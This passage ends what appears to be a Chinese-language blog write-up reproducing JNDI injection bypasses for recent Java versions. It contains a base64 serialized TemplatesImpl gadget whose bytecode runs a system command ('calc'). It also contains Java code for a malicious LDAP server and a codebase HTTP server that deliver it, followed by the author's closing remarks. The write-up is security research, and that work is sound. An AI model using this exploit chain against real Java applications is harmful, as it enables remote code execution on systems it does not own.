xhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3EAfgALTAAFX25hbWVxAH4ACkwAEV9vdXRwdXRQcm9wZXJ0aWVzdAAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzO3hwAAAAAP////91cgADW1tCS/0ZFWdn2zcCAAB4cAAAAAF1cgACW0Ks8xf4BghU4AIAAHhwAAABmsr+ur4AAAA0ABkBABBQcmlvcml0eVF1ZXVlQ0NDBwABAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAAwEACDxjbGluaXQ+AQADKClWAQAEQ29kZQEAEWphdmEvbGFuZy9SdW50aW1lBwAIAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwACgALCgAJAAwBAARjYWxjCAAOAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAEAARCgAJABIBAAY8aW5pdD4MABQABgoABAAVAQAKU291cmNlRmlsZQEAFVByaW9yaXR5UXVldWVDQ0MuamF2YQAhAAIABAAAAAAAAgAIAAUABgABAAcAAAAWAAIAAAAAAAq4AA0SD7YAE1exAAAAAAABABQABgABAAcAAAARAAEAAQAAAAUqtwAWsQAAAAAAAQAXAAAAAgAYcHQABHRlc3RwdwEAeHEAfgAVeA=="));
} catch (ParseException e1) {
e1.printStackTrace();
}
/** Payload2 end **/
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
public static void lanuchCodebaseURLServer(String ip, int port) throws Exception {
System.out.println("Starting HTTP server");
HttpServer httpServer = HttpServer.create(new InetSocketAddress(ip, port), 0);
httpServer.createContext("/", new HttpFileHandler());
httpServer.setExecutor(null);
httpServer.start();
}
public static void main(String[] args) throws Exception {
String[] args1 = new String[]{"127.0.0.1","8888", "1389"};
args = args1;
System.out.println("HttpServerAddress: "+args[0]);
System.out.println("HttpServerPort: "+args[1]);
System.out.println("LDAPServerPort: "+args[2]);
String http_server_ip = args[0];
int ldap_port = Integer.valueOf(args[2]);
int http_server_port = Integer.valueOf(args[1]);
lanuchCodebaseURLServer(http_server_ip, http_server_port);
lanuchLDAPServer(ldap_port, http_server_ip, http_server_port);
}
}
- 發起ladp請求,結果如下
4 總結
第一時間看到淺藍師傅的文章後,很想馬上學習一下,無奈論文催得緊,過年前復現出了一部分。昨天終於寫完了論文,繼續來複現,所以前後文的不夠通暢。淺藍師傅還提到了一些其它的用法,但看起來不是特別實用,所以沒有復現了。
經過對JNDI 高版本bypass方法的學習,真的佩服大師傅們對java研究的功力,另外復現過程中也明顯感覺出來,jndi bypass的利用必須要依賴一些方便的工具,否則手工做起來真心麻煩,依賴都是一大堆。